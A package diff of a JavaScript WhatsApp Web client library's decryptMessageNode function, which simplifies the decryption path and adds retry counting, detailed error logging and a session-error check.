|
-
fullMessage.multicast = true;
|
|
191
|
-
}
|
|
192
|
-
if (tag === 'meta' && content instanceof Uint8Array) {
|
|
193
|
-
fullMessage.metaInfo = { targetID: attrs.target_id };
|
|
194
|
-
if (attrs.target_sender_jid) {
|
|
195
|
-
fullMessage.metaInfo.targetSender = (0, WABinary_1.jidNormalizedUser)(attrs.target_sender_jid);
|
|
196
|
-
}
|
|
197
|
-
}
|
|
198
|
-
if (tag === 'bot' && content instanceof Uint8Array) {
|
|
199
|
-
if (attrs.edit) {
|
|
200
|
-
fullMessage.botInfo = {
|
|
201
|
-
editType: attrs.edit,
|
|
202
|
-
editTargetID: attrs.edit_target_id,
|
|
203
|
-
editSenderTimestampMS: attrs.sender_timestamp_ms
|
|
204
|
-
};
|
|
205
|
-
}
|
|
206
|
-
}
|
|
207
|
-
// كشف الـ ViewOnce الجديد من الكود الثاني
|
|
208
192
|
if (tag === 'unavailable' && attrs.type === 'view_once') {
|
|
209
|
-
fullMessage.key.isViewOnce = true;
|
|
210
|
-
|
|
193
|
+
fullMessage.key.isViewOnce = true; // TODO: remove from here and add a STUB TYPE
|
|
194
|
+
}
|
|
195
|
+
if (attrs.count && tag === 'enc') {
|
|
196
|
+
fullMessage.retryCount = Number(attrs.count);
|
|
211
197
|
}
|
|
212
|
-
|
|
213
198
|
if (tag !== 'enc' && tag !== 'plaintext') {
|
|
214
199
|
continue;
|
|
215
200
|
}
|
|
216
201
|
if (!(content instanceof Uint8Array)) {
|
|
217
202
|
continue;
|
|
218
203
|
}
|
|
219
|
-
|
|
220
204
|
decryptables += 1;
|
|
221
205
|
let msgBuffer;
|
|
222
|
-
|
|
223
206
|
try {
|
|
224
207
|
const e2eType = tag === 'plaintext' ? 'plaintext' : attrs.type;
|
|
225
208
|
switch (e2eType) {
|
|
@@ -232,55 +215,22 @@ const decryptMessageNode = (stanza, meId, meLid, repository, logger) => {
|
|
|
232
215
|
break;
|
|
233
216
|
case 'pkmsg':
|
|
234
217
|
case 'msg':
|
|
235
|
-
{
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
stanza.attrs.peer_recipient_pn ||
|
|
241
|
-
stanza.attrs.participant_pn ||
|
|
242
|
-
fullMessage.key?.senderPn ||
|
|
243
|
-
''
|
|
244
|
-
);
|
|
245
|
-
const decryptCandidates = Array.from(new Set([
|
|
246
|
-
normalizeDecryptJid(primaryUser),
|
|
247
|
-
pnCandidate
|
|
248
|
-
].filter(Boolean)));
|
|
249
|
-
|
|
250
|
-
let lastDecryptError = null;
|
|
251
|
-
|
|
252
|
-
for (const candidate of decryptCandidates) {
|
|
253
|
-
try {
|
|
254
|
-
msgBuffer = await repository.decryptMessage({
|
|
255
|
-
jid: candidate,
|
|
256
|
-
type: e2eType,
|
|
257
|
-
ciphertext: content
|
|
258
|
-
});
|
|
259
|
-
lastDecryptError = null;
|
|
260
|
-
break; // نجح فك التشفير! اخرج من الـ Loop
|
|
261
|
-
}
|
|
262
|
-
catch (error) {
|
|
263
|
-
lastDecryptError = error;
|
|
264
|
-
}
|
|
265
|
-
}
|
|
266
|
-
|
|
267
|
-
if (lastDecryptError) {
|
|
268
|
-
throw lastDecryptError;
|
|
269
|
-
}
|
|
270
|
-
}
|
|
218
|
+
msgBuffer = await repository.decryptMessage({
|
|
219
|
+
jid: author,
|
|
220
|
+
type: e2eType,
|
|
221
|
+
ciphertext: content
|
|
222
|
+
});
|
|
271
223
|
break;
|
|
272
224
|
case 'plaintext':
|
|
273
|
-
case undefined:
|
|
274
225
|
msgBuffer = content;
|
|
275
226
|
break;
|
|
276
227
|
default:
|
|
277
228
|
throw new Error(`Unknown e2e type: ${e2eType}`);
|
|
278
229
|
}
|
|
279
|
-
|
|
280
|
-
let msg = WAProto_1.proto.Message.decode(e2eType !== 'plaintext' ? (0, generics_1.unpadRandomMax16)(msgBuffer) : msgBuffer);
|
|
230
|
+
let msg = WAProto_1.proto.Message.decode(e2eType !== 'plaintext' ? unpadRandomMax16(msgBuffer) : msgBuffer);
|
|
281
231
|
msg = msg.deviceSentMessage?.message || msg;
|
|
282
|
-
|
|
283
232
|
if (msg.senderKeyDistributionMessage) {
|
|
233
|
+
//eslint-disable-next-line max-depth
|
|
284
234
|
try {
|
|
285
235
|
await repository.processSenderKeyDistributionMessage({
|
|
286
236
|
authorJid: author,
|
|
@@ -288,28 +238,41 @@ const decryptMessageNode = (stanza, meId, meLid, repository, logger) => {
|
|
|
288
238
|
});
|
|
289
239
|
}
|
|
290
240
|
catch (err) {
|
|
291
|
-
logger.error({ key: fullMessage.key, err }, 'failed to
|
|
241
|
+
logger.error({ key: fullMessage.key, err }, 'failed to process sender key distribution message');
|
|
292
242
|
}
|
|
293
243
|
}
|
|
294
|
-
|
|
295
244
|
if (fullMessage.message) {
|
|
296
245
|
Object.assign(fullMessage.message, msg);
|
|
297
|
-
}
|
|
246
|
+
}
|
|
247
|
+
else {
|
|
298
248
|
fullMessage.message = msg;
|
|
299
249
|
}
|
|
300
250
|
}
|
|
301
251
|
catch (err) {
|
|
302
|
-
|
|
252
|
+
const errorContext = {
|
|
253
|
+
key: fullMessage.key,
|
|
254
|
+
err,
|
|
255
|
+
messageType: tag === 'plaintext' ? 'plaintext' : attrs.type,
|
|
256
|
+
sender,
|
|
257
|
+
author,
|
|
258
|
+
isSessionRecordError: isSessionRecordError(err)
|
|
259
|
+
};
|
|
260
|
+
logger.error(errorContext, 'failed to decrypt message');
|
|
303
261
|
fullMessage.messageStubType = WAProto_1.proto.WebMessageInfo.StubType.CIPHERTEXT;
|
|
304
|
-
fullMessage.messageStubParameters = [err.message];
|
|
262
|
+
fullMessage.messageStubParameters = [err.message.toString()];
|
|
305
263
|
}
|
|
306
264
|
}
|
|
307
265
|
}
|
|
308
|
-
|
|
266
|
+
// if nothing was found to decrypt
|
|
267
|
+
if (!decryptables && !fullMessage.key?.isViewOnce) {
|
|
309
268
|
fullMessage.messageStubType = WAProto_1.proto.WebMessageInfo.StubType.CIPHERTEXT;
|
|
310
269
|
fullMessage.messageStubParameters = [(0, exports.NO_MESSAGE_FOUND_ERROR_TEXT) || "No message found"];
|
|
311
270
|
}
|
|
312
271
|
}
|
|
313
272
|
};
|
|
314
273
|
};
|
|
274
|
+
function isSessionRecordError(error) {
|
|
275
|
+
const errorMessage = error?.message || error?.toString() || '';
|
|
276
|
+
return ['No session record', 'SessionError: No session record'].some(errorPattern => errorMessage.includes(errorPattern));
|
|
277
|
+
}
|
|
315
278
|
exports.decryptMessageNode = decryptMessageNode;
|
package/package.json
CHANGED